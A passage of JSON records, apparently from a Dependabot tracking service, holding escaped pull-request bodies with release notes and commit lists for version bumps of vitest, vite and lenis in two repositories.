href=\"https://redirect.github.com/vitest-dev/vitest/issues/11578\"\u003evitest-dev/vitest#11578\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/28dc1edfb\"\u003e\u003c!-- raw HTML omitted --\u003e(28dc1)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eHandle quoted file names in \u003ccode\u003e--changed\u003c/code\u003e  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11583\"\u003evitest-dev/vitest#11583\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/14921e962\"\u003e\u003c!-- raw HTML omitted --\u003e(14921)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAdd \u003ccode\u003edata\u003c/code\u003e to the \u003ccode\u003eimport.meta.hot\u003c/code\u003e stub  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11590\"\u003evitest-dev/vitest#11590\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/3a8289ac3\"\u003e\u003c!-- raw HTML omitted --\u003e(3a828)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eSet \u003ccode\u003eskip\u003c/code\u003e in \u003ccode\u003eskipIf\u003c/code\u003e, ignore \u003ccode\u003eundefined\u003c/code\u003e options  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11591\"\u003evitest-dev/vitest#11591\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/d523a15f2\"\u003e\u003c!-- raw HTML omitted --\u003e(d523a)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eSkip builtin loading in async leak detector  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11598\"\u003evitest-dev/vitest#11598\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/fe86a64c6\"\u003e\u003c!-- raw HTML omitted --\u003e(fe86a)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eKeep the import frame in native loader errors  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11599\"\u003evitest-dev/vitest#11599\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/9697b3894\"\u003e\u003c!-- raw HTML omitted --\u003e(9697b)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRun hook cleanups when a later hook fails  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11605\"\u003evitest-dev/vitest#11605\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/6c5a44720\"\u003e\u003c!-- raw HTML omitted --\u003e(6c5a4)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRelease mocks of finished test files  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11607\"\u003evitest-dev/vitest#11607\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/e9c3d72f0\"\u003e\u003c!-- raw HTML omitted --\u003e(e9c3d)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAbort all running tests on cancel  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11606\"\u003evitest-dev/vitest#11606\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/6621a72d6\"\u003e\u003c!-- raw HTML omitted --\u003e(6621a)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ebrowser\u003c/strong\u003e:\n\u003cul\u003e\n\u003cli\u003eIgnore synthetic pagehide events  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11582\"\u003evitest-dev/vitest#11582\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/ca0813584\"\u003e\u003c!-- raw HTML omitted --\u003e(ca081)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRun plugin buildStart on server creation  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11593\"\u003evitest-dev/vitest#11593\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/ea611e44c\"\u003e\u003c!-- raw HTML omitted --\u003e(ea611)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eDrop late connections of closed sessions  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11600\"\u003evitest-dev/vitest#11600\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/f161e6df2\"\u003e\u003c!-- raw HTML omitted --\u003e(f161e)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eWait 30s for the browser to close  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11601\"\u003evitest-dev/vitest#11601\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/6498b666a\"\u003e\u003c!-- raw HTML omitted --\u003e(6498b)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRun global setup once with instances  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11596\"\u003evitest-dev/vitest#11596\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/8dd67c262\"\u003e\u003c!-- raw HTML omitted --\u003e(8dd67)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ereporter\u003c/strong\u003e:\n\u003cul\u003e\n\u003cli\u003eEnd reason \u003ccode\u003e\u0026amp;[#39](https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/39);failed\u0026amp;[#39](https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/39);\u003c/code\u003e on worker crash  -  by \u003ca href=\"https://github.com/AriPerkkio\"\u003e\u003ccode\u003e@​AriPerkkio\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11568\"\u003evitest-dev/vitest#11568\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/6ae8e89ff\"\u003e\u003c!-- raw HTML omitted --\u003e(6ae8e)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch5\u003e    \u003ca href=\"https://github.com/vitest-dev/vitest/compare/v5.0.4...v5.0.5\"\u003eView changes on GitHub\u003c/a\u003e\u003c/h5\u003e\n\u003ch2\u003ev5.0.4\u003c/h2\u003e\n\u003ch3\u003e   🚀 Features\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eexperimental\u003c/strong\u003e:\n\u003cul\u003e\n\u003cli\u003eTag cache directories with CACHEDIR.TAG  -  by \u003ca href=\"https://github.com/lifeiscontent\"\u003e\u003ccode\u003e@​lifeiscontent\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11461\"\u003evitest-dev/vitest#11461\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/a8ea3c8fd\"\u003e\u003c!-- raw HTML omitted --\u003e(a8ea3)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eSupport \u003ccode\u003etest.ui.theme\u003c/code\u003e option  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11499\"\u003evitest-dev/vitest#11499\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/1da66405d\"\u003e\u003c!-- raw HTML omitted --\u003e(1da66)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eHighlight selector multiple matches in trace view  -  by \u003ca href=\"https://github.com/hi-ogawa\"\u003e\u003ccode\u003e@​hi-ogawa\u003c/code\u003e\u003c/a\u003e, \u003cstrong\u003eHiroshi Ogawa\u003c/strong\u003e and \u003cstrong\u003eClaude Opus 5.5\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11489\"\u003evitest-dev/vitest#11489\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/5abba1e1b\"\u003e\u003c!-- raw HTML omitted --\u003e(5abba)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003ePrint how many tests were affected and a total when running \u003ccode\u003e--changed\u003c/code\u003e  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11424\"\u003evitest-dev/vitest#11424\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/a23368585\"\u003e\u003c!-- raw HTML omitted --\u003e(a2336)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAdd an option to cache dependencies instead of statically parsing them  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11515\"\u003evitest-dev/vitest#11515\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/c06012ac8\"\u003e\u003c!-- raw HTML omitted --\u003e(c0601)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAdd fit and zoom controls to trace viewer  -  by \u003ca href=\"https://github.com/hi-ogawa\"\u003e\u003ccode\u003e@​hi-ogawa\u003c/code\u003e\u003c/a\u003e, \u003cstrong\u003eHiroshi Ogawa\u003c/strong\u003e and \u003cstrong\u003eClaude Opus 5.5\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11490\"\u003evitest-dev/vitest#11490\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/f5dd99ed0\"\u003e\u003c!-- raw HTML omitted --\u003e(f5dd9)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e   🐞 Bug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eFail the run on git and location filter errors  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11430\"\u003evitest-dev/vitest#11430\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/30d0304d2\"\u003e\u003c!-- raw HTML omitted --\u003e(30d03)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eEnable fsModuleCache by default  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11435\"\u003evitest-dev/vitest#11435\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/ad208cc29\"\u003e\u003c!-- raw HTML omitted --\u003e(ad208)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eTrack project files and mocks with --changed  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11432\"\u003evitest-dev/vitest#11432\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/b0f2b3bb9\"\u003e\u003c!-- raw HTML omitted --\u003e(b0f2b)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRefactor caching, fix \u003ccode\u003e:\u003c/code\u003e in project and change the shape of \u003ccode\u003eresults\u003c/code\u003e cache  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11453\"\u003evitest-dev/vitest#11453\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/9673c49a4\"\u003e\u003c!-- raw HTML omitted --\u003e(9673c)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eKeep full \u003ccode\u003e$\u003c/code\u003e string values when \u003ccode\u003etaskTitleValueFormatTruncate\u003c/code\u003e is 0  -  by \u003ca href=\"https://github.com/hi-ogawa\"\u003e\u003ccode\u003e@​hi-ogawa\u003c/code\u003e\u003c/a\u003e, \u003cstrong\u003eHiroshi Ogawa\u003c/strong\u003e and \u003cstrong\u003eClaude Opus 5.5\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11485\"\u003evitest-dev/vitest#11485\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/4f7e1799b\"\u003e\u003c!-- raw HTML omitted --\u003e(4f7e1)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eResolve node builtins in client environments  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11417\"\u003evitest-dev/vitest#11417\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/56b319ac6\"\u003e\u003c!-- raw HTML omitted --\u003e(56b31)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eFix module graph builtin externals after \u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11421\"\u003e#11421\u003c/a\u003e  -  by \u003ca href=\"https://github.com/hi-ogawa\"\u003e\u003ccode\u003e@​hi-ogawa\u003c/code\u003e\u003c/a\u003e, \u003cstrong\u003eHiroshi Ogawa\u003c/strong\u003e and \u003cstrong\u003eClaude Opus 5.5\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11491\"\u003evitest-dev/vitest#11491\u003c/a\u003e and \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11421\"\u003evitest-dev/vitest#11421\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/008e184cb\"\u003e\u003c!-- raw HTML omitted --\u003e(008e1)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eWrap module mocks during in-source testing  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11505\"\u003evitest-dev/vitest#11505\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/36d19cb00\"\u003e\u003c!-- raw HTML omitted --\u003e(36d19)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eHandle line endings in snapshot  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11522\"\u003evitest-dev/vitest#11522\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/4c468aa40\"\u003e\u003c!-- raw HTML omitted --\u003e(4c468)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRespect root in projects  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11521\"\u003evitest-dev/vitest#11521\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/26642f793\"\u003e\u003c!-- raw HTML omitted --\u003e(26642)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eResolve mocks in directories with spaces  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11539\"\u003evitest-dev/vitest#11539\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/caaef9416\"\u003e\u003c!-- raw HTML omitted --\u003e(caaef)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eapi\u003c/strong\u003e:\n\u003cul\u003e\n\u003cli\u003ePublish the api token atomically  -  by \u003ca href=\"https://github.com/umairnawaz333\"\u003e\u003ccode\u003e@​umairnawaz333\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11323\"\u003evitest-dev/vitest#11323\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/6f990fef1\"\u003e\u003c!-- raw HTML omitted --\u003e(6f990)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ebrowser\u003c/strong\u003e:\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/7a825db43e2beca0b219d2eadaec334cb81af0c7\"\u003e\u003ccode\u003e7a825db\u003c/code\u003e\u003c/a\u003e chore: release v5.0.5 (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11609\"\u003e#11609\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/6621a72d6ed371e43f80ff327f5063693bd6b1ad\"\u003e\u003ccode\u003e6621a72\u003c/code\u003e\u003c/a\u003e fix: abort all running tests on cancel (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11606\"\u003e#11606\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/e9c3d72f0c8d6867de06a3df43ea28a05eeec444\"\u003e\u003ccode\u003ee9c3d72\u003c/code\u003e\u003c/a\u003e fix: release mocks of finished test files (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11607\"\u003e#11607\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/8dd67c2625943d824e257b87ae57a14094e90eed\"\u003e\u003ccode\u003e8dd67c2\u003c/code\u003e\u003c/a\u003e fix(browser): run global setup once with instances (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11596\"\u003e#11596\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/6c5a447203a29a0708fbc5de4fb91ea501bdc395\"\u003e\u003ccode\u003e6c5a447\u003c/code\u003e\u003c/a\u003e fix: run hook cleanups when a later hook fails (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11605\"\u003e#11605\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/9697b3894f456b85db91f3824ebe833449305c04\"\u003e\u003ccode\u003e9697b38\u003c/code\u003e\u003c/a\u003e fix: keep the import frame in native loader errors (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11599\"\u003e#11599\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/6498b666a3ae8961f6f2a8abdc89015b6fd0b3aa\"\u003e\u003ccode\u003e6498b66\u003c/code\u003e\u003c/a\u003e fix(browser): wait 30s for the browser to close (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11601\"\u003e#11601\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/f161e6df2b3c0bc84982d374094379139e380791\"\u003e\u003ccode\u003ef161e6d\u003c/code\u003e\u003c/a\u003e fix(browser): drop late connections of closed sessions (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11600\"\u003e#11600\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/fe86a64c6c6aa75481bffe5880b5c4e35ea67927\"\u003e\u003ccode\u003efe86a64\u003c/code\u003e\u003c/a\u003e fix: skip builtin loading in async leak detector (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11598\"\u003e#11598\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/6ae8e89ff0734cf476e30186a83aebe6771aa330\"\u003e\u003ccode\u003e6ae8e89\u003c/code\u003e\u003c/a\u003e fix(reporter): end reason \u003ccode\u003e'failed'\u003c/code\u003e on worker crash (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11568\"\u003e#11568\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/vitest-dev/vitest/commits/v5.0.5/packages/vitest\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\n\n[![Dependabot compatibility score](https://dependabot-badges.githubapp.com/badges/compatibility_score?dependency-name=vitest\u0026package-manager=npm_and_yarn\u0026previous-version=5.0.3\u0026new-version=5.0.5)](https://docs.github.com/en/github/managing-security-vulnerabilities/about-dependabot-security-updates#about-compatibility-scores)\n\nDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n\u003cdetails\u003e\n\u003csummary\u003eDependabot commands and options\u003c/summary\u003e\n\u003cbr /\u003e\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot show \u003cdependency name\u003e ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore this major version` will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this minor version` will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this dependency` will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)\n\n\n\u003c/details\u003e","html_url":"https://github.com/internxt/send-web/pull/352","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/internxt%2Fsend-web/issues/352","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/352/packages"}},{"old_version":"3.2.4","new_version":"3.2.7","update_type":"patch","path":null,"pr_created_at":"2026-10-24T01:54:39.000Z","version_change":"3.2.4 → 3.2.7","issue":{"uuid":"6008220532","node_id":"PR_kwDOUw6Ytc8AAAABKYVnUA","number":111,"state":"closed","title":"chore(deps): bump the runtime-and-ui group across 1 directory with 4 updates","user":"dependabot[bot]","labels":["dependencies","area: runtime","area: ui","area: packaging","tier: core","size: s"],"assignees":[],"locked":false,"comments_count":2,"pull_request":true,"closed_at":"2026-10-24T02:28:58.000Z","author_association":null,"state_reason":null,"created_at":"2026-10-24T01:54:39.000Z","updated_at":"2026-10-24T02:29:03.000Z","time_to_close":2059,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"chore(deps): bump","group_name":"runtime-and-ui","update_count":4,"packages":[{"name":"lenis","old_version":"1.3.26","new_version":"1.3.27","repository_url":"https://github.com/darkroomengineering/lenis"},{"name":"@vitest/coverage-v8","old_version":"3.2.4","new_version":"3.2.7","repository_url":"https://github.com/vitest-dev/vitest"},{"name":"vite","old_version":"6.4.3","new_version":"6.4.4","repository_url":"https://github.com/vitejs/vite"},{"name":"vitest","old_version":"3.2.4","new_version":"3.2.7","repository_url":"https://github.com/vitest-dev/vitest"}],"path":null,"ecosystem":"npm"},"body":"Bumps the runtime-and-ui group with 4 updates in the / directory: [lenis](https://github.com/darkroomengineering/lenis), [@vitest/coverage-v8](https://github.com/vitest-dev/vitest/tree/HEAD/packages/coverage-v8), [vite](https://github.com/vitejs/vite/tree/HEAD/packages/vite) and [vitest](https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest).\n\nUpdates `lenis` from 1.3.26 to 1.3.27\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/darkroomengineering/lenis/releases\"\u003elenis's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev1.3.27\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efix \u003ccode\u003elenis\u003c/code\u003e class coming back after \u003ccode\u003edestroy()\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003escrollTo()\u003c/code\u003e accepts SVG elements\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/darkroomengineering/lenis/commit/e01eefb1f55cd08bc051521d74f5f8182b71ee9d\"\u003e\u003ccode\u003ee01eefb\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/darkroomengineering/lenis/issues/558\"\u003e#558\u003c/a\u003e from darkroomengineering/release/v1.3.27\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/darkroomengineering/lenis/commit/08868fc1e49d4b076d9efc954b926306b0e20a2f\"\u003e\u003ccode\u003e08868fc\u003c/code\u003e\u003c/a\u003e v1.3.27\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/darkroomengineering/lenis/commit/1f60fb9199a823f10fb23f7df55011defbb2747a\"\u003e\u003ccode\u003e1f60fb9\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/darkroomengineering/lenis/issues/557\"\u003e#557\u003c/a\u003e from darkroomengineering/fix/svg-scroll-targets-v1\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/darkroomengineering/lenis/commit/ef84677a7a6e89f6c1f6c916c95a52bbcba3950a\"\u003e\u003ccode\u003eef84677\u003c/code\u003e\u003c/a\u003e fix(core): accept SVG elements as scrollTo targets\u003c/li\u003e\n\u003cli\u003e\u003ca 